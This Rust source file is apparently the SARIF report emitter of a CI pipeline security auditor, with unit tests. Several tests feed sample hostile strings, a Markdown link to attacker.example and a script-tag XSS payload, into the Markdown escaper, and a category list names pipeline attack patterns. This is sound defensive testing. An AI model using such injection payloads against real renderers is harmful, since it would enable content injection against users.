2184    /// consumers (sarif-tools, jq, VS Code) see a valid top-level JSON object.
2185    pub fn emit_multi<W: std::io::Write>(
2186        &self,
2187        w: &mut W,
2188        items: &[(&AuthorityGraph, &[Finding])],
2189    ) -> Result<(), TauditError> {
2190        self.emit_multi_with_custom_rules(w, items, &[])
2191    }
2192
2193    /// Like `emit_multi` but also injects entries for custom (user-defined)
2194    /// rules into the SARIF driver's `rules` array. SARIF requires every
2195    /// `result.ruleId` to resolve against a `rules[]` entry — without this
2196    /// step custom rules would surface as "unknown rule" in viewers.
2197    pub fn emit_multi_with_custom_rules<W: std::io::Write>(
2198        &self,
2199        w: &mut W,
2200        items: &[(&AuthorityGraph, &[Finding])],
2201        custom_rules: &[CustomRule],
2202    ) -> Result<(), TauditError> {
2203        let mut rules = build_rules();
2204        rules.extend(build_custom_rules(custom_rules));
2205        let custom_ids: std::collections::HashSet<&str> =
2206            custom_rules.iter().map(|r| r.id.as_str()).collect();
2207        let results: Vec<SarifResult> = items
2208            .iter()
2209            .flat_map(|(graph, findings)| {
2210                findings
2211                    .iter()
2212                    .map(|f| finding_to_result(f, &graph.source.file, graph, &custom_ids))
2213            })
2214            .collect();
2215
2216        let log = SarifLog {
2217            schema: SARIF_SCHEMA,
2218            version: SARIF_VERSION,
2219            runs: vec![SarifRun {
2220                tool: SarifTool {
2221                    driver: SarifDriver {
2222                        name: TOOL_NAME,
2223                        version: env!("CARGO_PKG_VERSION").to_string(),
2224                        information_uri: TOOL_URI,
2225                        rules,
2226                    },
2227                },
2228                results,
2229            }],
2230        };
2231
2232        serde_json::to_writer_pretty(w, &log)
2233            .map_err(|e| TauditError::Report(format!("SARIF serialization error: {e}")))?;
2234
2235        Ok(())
2236    }
2237}
2238
2239impl<W: std::io::Write> ReportSink<W> for SarifReportSink {
2240    fn emit(
2241        &self,
2242        w: &mut W,
2243        graph: &AuthorityGraph,
2244        findings: &[Finding],
2245    ) -> Result<(), TauditError> {
2246        self.emit_multi(w, &[(graph, findings)])
2247    }
2248}
2249
2250fn build_rules() -> Vec<SarifRule> {
2251    RULE_DEFS
2252        .iter()
2253        .map(|r| SarifRule {
2254            id: r.id.to_string(),
2255            name: r.name.to_string(),
2256            short_description: SarifMessage {
2257                text: r.short_description.to_string(),
2258            },
2259            full_description: SarifMessage {
2260                text: r.full_description.to_string(),
2261            },
2262            default_configuration: SarifDefaultConfiguration {
2263                level: r.default_level.to_string(),
2264            },
2265            help_uri: format!("{RULES_BASE_URI}/{}", r.id),
2266            properties: SarifRuleProperties {
2267                security_severity: r.security_severity.to_string(),
2268                tags: r.tags.iter().map(|t| (*t).to_string()).collect(),
2269            },
2270        })
2271        .collect()
2272}
2273
2274fn build_custom_rules(rules: &[CustomRule]) -> Vec<SarifRule> {
2275    rules
2276        .iter()
2277        .map(|r| {
2278            let level = match r.severity {
2279                Severity::Critical | Severity::High => "error",
2280                Severity::Medium => "warning",
2281                Severity::Low | Severity::Info => "note",
2282            };
2283            let security_severity = match r.severity {
2284                Severity::Critical => "9.0",
2285                Severity::High => "7.5",
2286                Severity::Medium => "5.0",
2287                Severity::Low => "2.0",
2288                Severity::Info => "0.1",
2289            };
2290            // SECURITY: every field below — `r.id`, `r.name`, `r.description`
2291            // — is sourced from custom-rule YAML loaded via
2292            // `--invariants-dir`. An attacker who can land a custom-rule
2293            // file (or convince an operator to apply one from a hostile
2294            // source) controls every byte of these strings. The built-in
2295            // catalogue (`RULE_DEFS` above) is author-controlled and uses
2296            // intentional Markdown — those descriptors are NOT escaped.
2297            // Custom rules are escaped unconditionally.
2298            let short_raw = if r.description.is_empty() {
2299                r.name.clone()
2300            } else {
2301                r.description.clone()
2302            };
2303            let short = escape_markdown(&short_raw).into_owned();
2304            let name = escape_markdown(&r.name).into_owned();
2305            // `r.id` is constrained to snake_case + kebab-case + digits at
2306            // deserialise time (see `taudit-core/src/custom_rules.rs`
2307            // ID_CHARSET_DESC) — letters/digits/`_`/`-` only. Markdown
2308            // escaping `-` would break SARIF rule cross-reference (the
2309            // result's `ruleId` matches descriptor `id` by string equality
2310            // and is computed from the RAW finding message via
2311            // `rule_id_for`). We rely on the deserialiser charset gate as
2312            // the security boundary and emit the id verbatim.
2313            SarifRule {
2314                id: r.id.clone(),
2315                name,
2316                short_description: SarifMessage {
2317                    text: short.clone(),
2318                },
2319                full_description: SarifMessage { text: short },
2320                default_configuration: SarifDefaultConfiguration {
2321                    level: level.to_string(),
2322                },
2323                help_uri: format!("{RULES_BASE_URI}/{}", r.id),
2324                properties: SarifRuleProperties {
2325                    security_severity: security_severity.to_string(),
2326                    tags: vec!["security".to_string(), "custom-rule".to_string()],
2327                },
2328            }
2329        })
2330        .collect()
2331}
2332
2333/// Map a `Finding` to a SARIF `result` object. Custom-rule findings carry
2334/// their rule id in the message as `[<id>] ...`; the rule-id resolver
2335/// shared with JSON, baseline, and CloudEvents lifts the custom id when
2336/// the bracketed token is a valid snake_case identifier. Unlike the
2337/// pre-v1.1 SARIF emitter, custom ids are NOT filtered through
2338/// `custom_ids.contains(...)` — JSON does not filter either, and silent
2339/// re-categorisation is worse than a SARIF viewer rendering "unknown
2340/// rule" for an unregistered custom rule. The two emitters now agree.
2341fn finding_to_result(
2342    finding: &Finding,
2343    source_file: &str,
2344    graph: &AuthorityGraph,
2345    _custom_ids: &std::collections::HashSet<&str>,
2346) -> SarifResult {
2347    let rule_id = rule_id_for(finding);
2348    let level = severity_to_level(&finding.severity);
2349    let security_severity = severity_to_security_severity(&finding.severity);
2350
2351    let uri = source_file.to_string();
2352
2353    // Single source of truth for the fingerprint lives in
2354    // `taudit_core::finding::compute_fingerprint`. Same value also surfaces
2355    // in the JSON report (`findings[].fingerprint`) and the CloudEvents
2356    // sink (`tauditfindingfingerprint` extension attribute) so SIEMs can
2357    // dedup across formats. See `docs/finding-fingerprint.md`.
2358    let fingerprint = compute_fingerprint(finding, graph);
2359    let suppression_key = compute_suppression_key(finding, graph);
2360
2361    let taudit_source = match &finding.source {
2362        FindingSource::BuiltIn => "built-in".to_string(),
2363        FindingSource::Custom { source_file } => {
2364            format!("custom:{}", source_file.display())
2365        }
2366    };
2367    let finding_group_id = finding
2368        .extras
2369        .finding_group_id
2370        .clone()
2371        .or_else(|| Some(compute_finding_group_id(&fingerprint)));
2372    let time_to_fix = finding.extras.time_to_fix.map(fix_effort_to_str);
2373    let compensating_controls = finding.extras.compensating_controls.clone();
2374    let suppressed = finding.extras.suppressed;
2375    let original_severity = finding.extras.original_severity.map(severity_to_str);
2376    let confidence_scope = finding.extras.confidence_scope.clone();
2377    let runtime_preconditions = finding.extras.runtime_preconditions.clone();
2378    let portal_control_dependency = finding.extras.portal_control_dependency;
2379    let authority_kinds = finding.extras.authority_kinds.clone();
2380    let attacker_surface_kinds = finding.extras.attacker_surface_kinds.clone();
2381    let template_resolution_strength = finding.extras.template_resolution_strength.clone();
2382    let cve_relationship = finding.extras.cve_relationship.clone();
2383
2384    // SECURITY: GitHub Code Scanning renders Markdown links in
2385    // `result.message.text`. `finding.message` is composed from
2386    // attacker-controllable inputs (custom-rule `name`, node names from
2387    // pipeline YAML keys). Escape Markdown specials at the render boundary
2388    // — fingerprints are already computed above against the RAW message,
2389    // so this escape does NOT shift fingerprints. JSON sink ships raw;
2390    // only SARIF (Markdown-rendering downstream) escapes.
2391    let escaped_message = escape_markdown(&finding.message).into_owned();
2392
2393    SarifResult {
2394        rule_id,
2395        level,
2396        message: SarifMessage {
2397            text: escaped_message,
2398        },
2399        locations: vec![SarifLocation {
2400            physical_location: SarifPhysicalLocation {
2401                artifact_location: SarifArtifactLocation {
2402                    uri,
2403                    uri_base_id: "%SRCROOT%",
2404                },
2405            },
2406        }],
2407        properties: SarifResultProperties {
2408            security_severity,
2409            taudit_source,
2410            finding_group_id,
2411            suppression_key,
2412            time_to_fix,
2413            compensating_controls,
2414            suppressed,
2415            original_severity,
2416            confidence_scope,
2417            runtime_preconditions,
2418            portal_control_dependency,
2419            authority_kinds,
2420            attacker_surface_kinds,
2421            template_resolution_strength,
2422            cve_relationship,
2423        },
2424        partial_fingerprints: SarifPartialFingerprints {
2425            // Both keys carry the SAME 32-hex value today. They diverge only
2426            // when the fingerprint formula bumps in a future major —
2427            // at which point the second key changes and old
2428            // suppressions stored against `taudit/v1` correctly fail to
2429            // carry over. See docs/finding-fingerprint.md.
2430            primary_location_line_hash: fingerprint.clone(),
2431            taudit_v1: fingerprint,
2432        },
2433    }
2434}
2435
2436// `extract_custom_rule_id` and `category_to_rule_id` were workspace
2437// duplicates of helpers that now live as `taudit_core::finding::rule_id_for`.
2438// Removed in v1.1.0-beta.3 so JSON, SARIF, baseline, and CloudEvents
2439// agree on rule-id resolution byte-for-byte. See
2440// `crates/taudit-core/src/finding.rs::rule_id_for`.
2441
2442fn severity_to_level(severity: &Severity) -> &'static str {
2443    match severity {
2444        Severity::Critical | Severity::High => "error",
2445        Severity::Medium => "warning",
2446        Severity::Low | Severity::Info => "note",
2447    }
2448}
2449
2450fn severity_to_security_severity(severity: &Severity) -> &'static str {
2451    match severity {
2452        Severity::Critical => "9.0",
2453        Severity::High => "7.5",
2454        Severity::Medium => "5.0",
2455        Severity::Low => "2.0",
2456        Severity::Info => "0.1",
2457    }
2458}
2459
2460// ── Tests ────────────────────────────────────────────────
2461
2462#[cfg(test)]
2463mod tests {
2464    use super::*;
2465    use taudit_core::finding::{FindingCategory, FindingExtras, Recommendation, Severity};
2466    use taudit_core::graph::{AuthorityGraph, PipelineSource};
2467
2468    // ── escape_markdown unit tests ────────────────────────────
2469
2470    #[test]
2471    fn escape_markdown_passes_clean_prose_unchanged() {
2472        let s = "AWS_KEY reaches deploy across trust boundary";
2473        let out = escape_markdown(s);
2474        // Underscores are NOT in our escape set (they're rare in attack
2475        // strings and common in legitimate identifiers like AWS_KEY); only
2476        // genuine Markdown link / HTML / emphasis chars trigger escaping.
2477        assert!(
2478            matches!(out, Cow::Borrowed(_)),
2479            "clean input must zero-alloc"
2480        );
2481        assert_eq!(out, s);
2482    }
2483
2484    #[test]
2485    fn escape_markdown_neutralises_link_payload() {
2486        let hostile = "Click [here](https://attacker.example) for context";
2487        let out = escape_markdown(hostile);
2488        // Brackets and parens must be backslash-escaped so a Markdown
2489        // renderer treats them as literals, not link syntax.
2490        assert!(out.contains("\\["));
2491        assert!(out.contains("\\]"));
2492        assert!(out.contains("\\("));
2493        assert!(out.contains("\\)"));
2494        // The underlying URL text is preserved (we don't strip — we
2495        // de-fang the link wrapper).
2496        assert!(out.contains("https://attacker.example"));
2497    }
2498
2499    #[test]
2500    fn escape_markdown_neutralises_html_tags() {
2501        let hostile = "<script>alert(1)</script>";
2502        let out = escape_markdown(hostile);
2503        assert!(out.contains("\\<"));
2504        assert!(out.contains("\\>"));
2505    }
2506
2507    #[test]
2508    fn escape_markdown_neutralises_emphasis_and_code() {
2509        let hostile = "**bold** `code`";
2510        let out = escape_markdown(hostile);
2511        assert!(out.contains("\\*"));
2512        assert!(out.contains("\\`"));
2513    }
2514
2515    #[test]
2516    fn escape_markdown_handles_image_marker() {
2517        let hostile = "![alt](url)";
2518        let out = escape_markdown(hostile);
2519        assert!(out.contains("\\!"));
2520        assert!(out.contains("\\["));
2521        assert!(out.contains("\\]"));
2522        assert!(out.contains("\\("));
2523        assert!(out.contains("\\)"));
2524    }
2525
2526    #[test]
2527    fn escape_markdown_preserves_legitimate_identifiers() {
2528        // Underscores and hyphens in identifiers like `AWS_KEY`,
2529        // `GITHUB_TOKEN`, `my-custom-rule` must NOT be escaped — that
2530        // would noise up the common-path render of every taudit alert.
2531        let s = "AWS_KEY reaches deploy via my-custom-rule#42";
2532        let out = escape_markdown(s);
2533        assert!(
2534            matches!(out, Cow::Borrowed(_)),
2535            "underscore/hyphen/hash must not trigger escape"
2536        );
2537        assert_eq!(out, s);
2538    }
2539    use taudit_core::ports::ReportSink;
2540
2541    fn source() -> PipelineSource {
2542        PipelineSource {
2543            file: ".github/workflows/ci.yml".into(),
2544            repo: None,
2545            git_ref: None,
2546            commit_sha: None,
2547        }
2548    }
2549
2550    fn empty_graph() -> AuthorityGraph {
2551        AuthorityGraph::new(source())
2552    }
2553
2554    fn make_finding(severity: Severity, category: FindingCategory, msg: &str) -> Finding {
2555        Finding {
2556            severity,
2557            category,
2558            path: None,
2559            nodes_involved: vec![],
2560            message: msg.to_string(),
2561            recommendation: Recommendation::Manual {
2562                action: "review".to_string(),
2563            },
2564            source: taudit_core::finding::FindingSource::BuiltIn,
2565            extras: FindingExtras::default(),
2566        }
2567    }
2568
2569    fn emit_to_string(graph: &AuthorityGraph, findings: &[Finding]) -> serde_json::Value {
2570        let mut buf = Vec::new();
2571        SarifReportSink.emit(&mut buf, graph, findings).unwrap();
2572        serde_json::from_slice(&buf).unwrap()
2573    }
2574
2575    #[test]
2576    fn empty_findings_produces_valid_sarif() {
2577        let graph = empty_graph();
2578        let sarif = emit_to_string(&graph, &[]);
2579
2580        assert_eq!(sarif["version"], "2.1.0");
2581        assert!(sarif["$schema"].as_str().unwrap().contains("sarif-2.1.0"));
2582        let results = &sarif["runs"][0]["results"];
2583        assert_eq!(results.as_array().unwrap().len(), 0);
2584    }
2585
2586    #[test]
2587    fn driver_name_and_rules_present() {
2588        let graph = empty_graph();
2589        let sarif = emit_to_string(&graph, &[]);
2590
2591        let driver = &sarif["runs"][0]["tool"]["driver"];
2592        assert_eq!(driver["name"], "taudit");
2593
2594        let rules = driver["rules"].as_array().unwrap();
2595        assert_eq!(rules.len(), RULE_DEFS.len());
2596
2597        // Every rule has the required fields
2598        for rule in rules {
2599            assert!(rule["id"].is_string());
2600            assert!(rule["name"].is_string());
2601            assert!(rule["shortDescription"]["text"].is_string());
2602            assert!(rule["fullDescription"]["text"].is_string());
2603            assert!(rule["defaultConfiguration"]["level"].is_string());
2604            assert!(rule["helpUri"].is_string());
2605            assert!(rule["properties"]["security-severity"].is_string());
2606            let tags = rule["properties"]["tags"].as_array().unwrap();
2607            assert!(
2608                tags.iter().any(|t| t == "security"),
2609                "every rule must carry the \"security\" tag"
2610            );
2611        }
2612    }
2613
2614    #[test]
2615    fn severity_maps_to_correct_sarif_level() {
2616        let graph = empty_graph();
2617        let findings = vec![
2618            make_finding(
2619                Severity::Critical,
2620                FindingCategory::UnpinnedAction,
2621                "critical",
2622            ),
2623            make_finding(
2624                Severity::High,
2625                FindingCategory::OverPrivilegedIdentity,
2626                "high",
2627            ),
2628            make_finding(
2629                Severity::Medium,
2630                FindingCategory::AuthorityPropagation,
2631                "medium",
2632            ),
2633            make_finding(Severity::Low, FindingCategory::LongLivedCredential, "low"),
2634            make_finding(Severity::Info, FindingCategory::FloatingImage, "info"),
2635        ];
2636
2637        let sarif = emit_to_string(&graph, &findings);
2638        let results = sarif["runs"][0]["results"].as_array().unwrap();
2639
2640        assert_eq!(results[0]["level"], "error"); // Critical
2641        assert_eq!(results[1]["level"], "error"); // High
2642        assert_eq!(results[2]["level"], "warning"); // Medium
2643        assert_eq!(results[3]["level"], "note"); // Low
2644        assert_eq!(results[4]["level"], "note"); // Info
2645
2646        // security-severity mirrors the finding severity, not the rule default
2647        assert_eq!(results[0]["properties"]["security-severity"], "9.0");
2648        assert_eq!(results[1]["properties"]["security-severity"], "7.5");
2649        assert_eq!(results[2]["properties"]["security-severity"], "5.0");
2650        assert_eq!(results[3]["properties"]["security-severity"], "2.0");
2651        assert_eq!(results[4]["properties"]["security-severity"], "0.1");
2652    }
2653
2654    #[test]
2655    fn result_has_rule_id_message_and_location() {
2656        let graph = empty_graph();
2657        let findings = vec![make_finding(
2658            Severity::High,
2659            FindingCategory::UnpinnedAction,
2660            "Unpinned actions/checkout@v4",
2661        )];
2662
2663        let sarif = emit_to_string(&graph, &findings);
2664        let r = &sarif["runs"][0]["results"][0];
2665
2666        assert_eq!(r["ruleId"], "unpinned_action");
2667        assert_eq!(r["message"]["text"], "Unpinned actions/checkout@v4");
2668
2669        let uri = &r["locations"][0]["physicalLocation"]["artifactLocation"]["uri"];
2670        assert_eq!(uri, ".github/workflows/ci.yml");
2671
2672        let base = &r["locations"][0]["physicalLocation"]["artifactLocation"]["uriBaseId"];
2673        assert_eq!(base, "%SRCROOT%");
2674
2675        // Every result has a stable partialFingerprint for cross-run dedup.
2676        let fp = r["partialFingerprints"]["primaryLocationLineHash"]
2677            .as_str()
2678            .unwrap();
2679        assert_eq!(
2680            fp.len(),
2681            32,
2682            "fingerprint should be 32 hex chars (v3 = 128-bit)"
2683        );
2684        assert!(fp.chars().all(|c| c.is_ascii_hexdigit()));
2685
2686        // The tool-namespaced `taudit/v1` key MUST also be present and
2687        // byte-identical to `primaryLocationLineHash` today. The version
2688        // suffix is what signals "old suppressions don't carry over" if
2689        // a future major bumps the fingerprint formula.
2690        // See docs/finding-fingerprint.md § "SARIF baseline integration".
2691        let tv1 = r["partialFingerprints"]["taudit/v1"]
2692            .as_str()
2693            .expect("partialFingerprints must include taudit/v1");
2694        assert_eq!(
2695            tv1, fp,
2696            "taudit/v1 must be byte-identical to primaryLocationLineHash within the v1 major"
2697        );
2698        assert_eq!(tv1.len(), 32);
2699        assert!(tv1.chars().all(|c| c.is_ascii_hexdigit()));
2700    }
2701
2702    #[test]
2703    fn all_finding_categories_have_rule_definitions() {
2704        // Ensures no category falls back to ruleId="unknown", which breaks
2705        // GitHub Code Scanning ingestion.
2706        let categories = [
2707            FindingCategory::AuthorityPropagation,
2708            FindingCategory::OverPrivilegedIdentity,
2709            FindingCategory::UnpinnedAction,
2710            FindingCategory::UntrustedWithAuthority,
2711            FindingCategory::ArtifactBoundaryCrossing,
2712            FindingCategory::FloatingImage,
2713            FindingCategory::LongLivedCredential,
2714            FindingCategory::PersistedCredential,
2715            FindingCategory::TriggerContextMismatch,
2716            FindingCategory::CrossWorkflowAuthorityChain,
2717            FindingCategory::AuthorityCycle,
2718            FindingCategory::UpliftWithoutAttestation,
2719            FindingCategory::SelfMutatingPipeline,
2720            FindingCategory::VariableGroupInPrJob,
2721            FindingCategory::SelfHostedPoolPrHijack,
2722            FindingCategory::ServiceConnectionScopeMismatch,
2723            FindingCategory::TemplateExtendsUnpinnedBranch,
2724            FindingCategory::TemplateRepoRefIsFeatureBranch,
2725            FindingCategory::VmRemoteExecViaPipelineSecret,
2726            FindingCategory::ShortLivedSasInCommandLine,
2727            FindingCategory::SecretToInlineScriptEnvExport,
2728            FindingCategory::SecretMaterialisedToWorkspaceFile,
2729            FindingCategory::KeyVaultSecretToPlaintext,
2730            FindingCategory::TerraformAutoApproveInProd,
2731            FindingCategory::AddSpnWithInlineScript,
2732            FindingCategory::ParameterInterpolationIntoShell,
2733            FindingCategory::RuntimeScriptFetchedFromFloatingUrl,
2734            FindingCategory::PrTriggerWithFloatingActionRef,
2735            FindingCategory::UntrustedApiResponseToEnvSink,
2736            FindingCategory::PrBuildPushesImageWithFloatingCredentials,
2737            FindingCategory::SecretViaEnvGateToUntrustedConsumer,
2738            FindingCategory::TerraformOutputViaSetvariableShellExpansion,
2739            FindingCategory::RiskyTriggerWithAuthority,
2740            FindingCategory::SensitiveValueInJobOutput,
2741            FindingCategory::ManualDispatchInputToUrlOrCommand,
2742            FindingCategory::SecretsInheritOverscopedPassthrough,
2743            FindingCategory::UnsafePrArtifactInWorkflowRunConsumer,
2744            FindingCategory::ScriptInjectionViaUntrustedContext,
2745            FindingCategory::InteractiveDebugActionInAuthorityWorkflow,
2746            FindingCategory::PrSpecificCacheKeyInDefaultBranchConsumer,
2747            FindingCategory::GhCliWithDefaultTokenEscalating,
2748            FindingCategory::GhaScriptInjectionToPrivilegedShell,
2749            FindingCategory::GhaWorkflowRunArtifactPoisoningToPrivilegedConsumer,
2750            FindingCategory::GhaRemoteScriptInAuthorityJob,
2751            FindingCategory::GhaPatRemoteUrlWrite,
2752            FindingCategory::GhaIssueCommentCommandToWriteToken,
2753            FindingCategory::GhaPrBuildPushesPublishableImage,
2754            FindingCategory::GhaManualDispatchRefToPrivilegedCheckout,
2755            FindingCategory::CiJobTokenToExternalApi,
2756            FindingCategory::IdTokenAudienceOverscoped,
2757            FindingCategory::UntrustedCiVarInShellInterpolation,
2758            FindingCategory::UnpinnedIncludeRemoteOrBranchRef,
2759            FindingCategory::DindServiceGrantsHostAuthority,
2760            FindingCategory::SecurityJobSilentlySkipped,
2761            FindingCategory::ChildPipelineTriggerInheritsAuthority,
2762            FindingCategory::CacheKeyCrossesTrustBoundary,
2763            FindingCategory::PatEmbeddedInGitRemoteUrl,
2764            FindingCategory::CiTokenTriggersDownstreamWithVariablePassthrough,
2765            FindingCategory::DotenvArtifactFlowsToPrivilegedDeployment,
2766            FindingCategory::SetvariableIssecretFalse,
2767            FindingCategory::HomoglyphInActionRef,
2768            FindingCategory::GhaHelperPathSensitiveArgv,
2769            FindingCategory::GhaHelperPathSensitiveStdin,
2770            FindingCategory::GhaHelperPathSensitiveEnv,
2771            FindingCategory::GhaPostAmbientEnvCleanupPath,
2772            FindingCategory::GhaActionMintedSecretToHelper,
2773            FindingCategory::GhaHelperUntrustedPathResolution,
2774            FindingCategory::GhaSecretOutputAfterHelperLogin,
2775            FindingCategory::LaterSecretMaterializedAfterPathMutation,
2776            FindingCategory::GhaSetupNodeCacheHelperPathHandoff,
2777            FindingCategory::GhaSetupPythonCacheHelperPathHandoff,
2778            FindingCategory::GhaSetupPythonPipInstallAuthorityEnv,
2779            FindingCategory::GhaSetupGoCacheHelperPathHandoff,
2780            FindingCategory::GhaDockerSetupQemuPrivilegedDockerHelper,
2781            FindingCategory::GhaToolInstallerThenShellHelperAuthority,
2782            FindingCategory::GhaWorkflowShellAuthorityConcentration,
2783            FindingCategory::GhaActionTokenEnvBeforeBareDownloadHelper,
2784            FindingCategory::GhaPostActionInputRetargetToCacheSave,
2785            FindingCategory::GhaTerraformWrapperSensitiveOutput,
2786            FindingCategory::GhaCompositeBareHelperAfterPathInstallWithSecretEnv,
2787            FindingCategory::GhaPulumiPathResolvedCliWithAuthority,
2788            FindingCategory::GhaPypiPublishOidcAfterPathMutation,
2789            FindingCategory::GhaChangesetsPublishCommandWithAuthority,
2790            FindingCategory::GhaRubygemsReleaseGitTokenAndOidcHelper,
2791            FindingCategory::GhaCompositeEntrypointPathShadowWithSecretEnv,
2792            FindingCategory::GhaDockerBuildxAuthorityPathHandoff,
2793            FindingCategory::GhaGoogleDeployGcloudCredentialPath,
2794            FindingCategory::GhaDatadogTestVisibilityInstallerAuthority,
2795            FindingCategory::GhaKubernetesHelperKubeconfigAuthority,
2796            FindingCategory::GhaAzureCompanionHelperAuthority,
2797            FindingCategory::GhaCreatePrGitTokenPathHandoff,
2798            FindingCategory::GhaImportGpgPrivateKeyHelperPath,
2799            FindingCategory::GhaSshAgentPrivateKeyToPathHelper,
2800            FindingCategory::GhaMacosCodesignCertSecurityPath,
2801            FindingCategory::GhaPagesDeployTokenUrlToGitHelper,
2802            FindingCategory::GhaManifestNpmLifecycleHookPrTriggerWithToken,
2803            FindingCategory::GhaManifestPythonMBuildWithPrCredentials,
2804            FindingCategory::GhaManifestCargoBuildRsPullRequestWithToken,
2805            FindingCategory::GhaManifestMakefileWithPrTriggerAndSecrets,
2806            FindingCategory::GhaManifestSubmodulesRecursiveWithPrAuthority,
2807            FindingCategory::GhaCrossrepoWorkflowCallFloatingRefCascade,
2808            FindingCategory::GhaCrossrepoSecretsInheritUnreviewedCallee,
2809            FindingCategory::GhaToolcacheAbsolutePathDowngrade,
2810        ];
2811
2812        for cat in categories {
2813            // Build a synthetic finding so we can route through the
2814            // workspace-canonical rule-id resolver. Using `rule_id_for`
2815            // instead of a now-deleted local `category_to_rule_id` keeps
2816            // JSON / SARIF / CloudEvents on the same code path.
2817            let synthetic = Finding {
2818                severity: Severity::High,
2819                category: cat,
2820                path: None,
2821                nodes_involved: vec![],
2822                message: String::new(),
2823                recommendation: taudit_core::finding::Recommendation::Manual {
2824                    action: "n/a".into(),
2825                },
2826                source: FindingSource::BuiltIn,
2827                extras: FindingExtras::default(),
2828            };
2829            let id = rule_id_for(&synthetic);
2830            assert!(
2831                RULE_DEFS.iter().any(|r| r.id == id),
2832                "category {cat:?} -> rule id {id:?} has no RuleDef entry"
2833            );
2834        }
2835    }
2836
2837    #[test]
2838    fn emit_multi_produces_single_sarif_document() {
2839        let source_a = PipelineSource {
2840            file: ".github/workflows/ci.yml".into(),
2841            repo: None,
2842            git_ref: None,
2843            commit_sha: None,
2844        };
2845        let source_b = PipelineSource {
2846            file: ".github/workflows/deploy.yml".into(),
2847            repo: None,
2848            git_ref: None,
2849            commit_sha: None,
2850        };
2851        let graph_a = AuthorityGraph::new(source_a);
2852        let graph_b = AuthorityGraph::new(source_b);
2853
2854        let findings_a = vec![make_finding(
2855            Severity::High,
2856            FindingCategory::UnpinnedAction,
2857            "Unpinned checkout in ci",
2858        )];
2859        let findings_b = vec![make_finding(
2860            Severity::Critical,
2861            FindingCategory::AuthorityPropagation,
2862            "Secret reaches untrusted step in deploy",
2863        )];
2864
2865        let mut buf = Vec::new();
2866        SarifReportSink
2867            .emit_multi(
2868                &mut buf,
2869                &[
2870                    (&graph_a, findings_a.as_slice()),
2871                    (&graph_b, findings_b.as_slice()),
2872                ],
2873            )
2874            .unwrap();
2875
2876        // Must be a single valid JSON document — not two concatenated ones.
2877        let sarif: serde_json::Value = serde_json::from_slice(&buf)
2878            .expect("emit_multi must produce a single valid JSON document");
2879
2880        assert_eq!(sarif["version"], "2.1.0");
2881
2882        // One run containing both files' results.
2883        let runs = sarif["runs"].as_array().unwrap();
2884        assert_eq!(runs.len(), 1, "expected exactly one run");
2885
2886        let results = runs[0]["results"].as_array().unwrap();
2887        assert_eq!(results.len(), 2, "expected both files' findings in one run");
2888
2889        let uris: Vec<&str> = results
2890            .iter()
2891            .map(|r| {
2892                r["locations"][0]["physicalLocation"]["artifactLocation"]["uri"]
2893                    .as_str()
2894                    .unwrap()
2895            })
2896            .collect();
2897        assert!(uris.contains(&".github/workflows/ci.yml"));
2898        assert!(uris.contains(&".github/workflows/deploy.yml"));
2899    }
2900
2901    /// Mirror of `taudit-report-json::tests::json_output_is_byte_deterministic_across_runs`.
2902    /// SARIF processes the same `AuthorityGraph` and the same HashMap-iteration
2903    /// class of bug that hit JSON in B1 (v0.9.1 fuzz) could regress here too —
2904    /// any leak of HashMap order into node IDs, edge endpoints, metadata key
2905    /// ordering, or fingerprint inputs would make consecutive emissions of the
2906    /// same graph diverge byte-for-byte. Build a metadata-rich graph and emit
2907    /// 9× in sequence; assert all 9 outputs are byte-equal.
2908    #[test]
2909    fn sarif_output_is_byte_deterministic_across_runs() {
2910        use std::collections::HashMap;
2911        use taudit_core::graph::{EdgeKind, NodeKind, TrustZone};
2912
2913        fn build_graph() -> (AuthorityGraph, Vec<Finding>) {
2914            let mut graph = AuthorityGraph::new(PipelineSource {
2915                file: "ci.yml".into(),
2916                repo: None,
2917                git_ref: None,
2918                commit_sha: None,
2919            });
2920            let secret_a = graph.add_node(NodeKind::Secret, "AWS_KEY", TrustZone::FirstParty);
2921            let secret_b = graph.add_node(NodeKind::Secret, "DEPLOY_TOKEN", TrustZone::FirstParty);
2922            let step = graph.add_node(NodeKind::Step, "deploy", TrustZone::FirstParty);
2923            graph.add_edge(step, secret_a, EdgeKind::HasAccessTo);
2924            graph.add_edge(step, secret_b, EdgeKind::HasAccessTo);
2925            if let Some(node) = graph.nodes.get_mut(step) {
2926                let mut meta: HashMap<String, String> = HashMap::new();
2927                meta.insert("z_field".into(), "z".into());
2928                meta.insert("a_field".into(), "a".into());
2929                meta.insert("m_field".into(), "m".into());
2930                meta.insert("k_field".into(), "k".into());
2931                meta.insert("c_field".into(), "c".into());
2932                node.metadata = meta;
2933            }
2934            graph
2935                .metadata
2936                .insert("trigger".into(), "pull_request".into());
2937            graph.metadata.insert("platform".into(), "github".into());
2938            let findings = vec![Finding {
2939                severity: Severity::High,
2940                category: FindingCategory::AuthorityPropagation,
2941                path: None,
2942                nodes_involved: vec![secret_a, step],
2943                message: "AWS_KEY reaches deploy".into(),
2944                recommendation: Recommendation::Manual {
2945                    action: "scope it".into(),
2946                },
2947                source: FindingSource::BuiltIn,
2948                extras: FindingExtras::default(),
2949            }];
2950            (graph, findings)
2951        }
2952
2953        let mut runs: Vec<Vec<u8>> = Vec::with_capacity(9);
2954        for _ in 0..9 {
2955            let (g, f) = build_graph();
2956            let mut buf = Vec::new();
2957            SarifReportSink.emit(&mut buf, &g, &f).unwrap();
2958            runs.push(buf);
2959        }
2960
2961        let first = &runs[0];
2962        for (i, run) in runs.iter().enumerate().skip(1) {
2963            assert_eq!(
2964                first, run,
2965                "run 0 and run {i} produced byte-different SARIF output (non-determinism regression)"
2966            );
2967        }
2968    }
2969}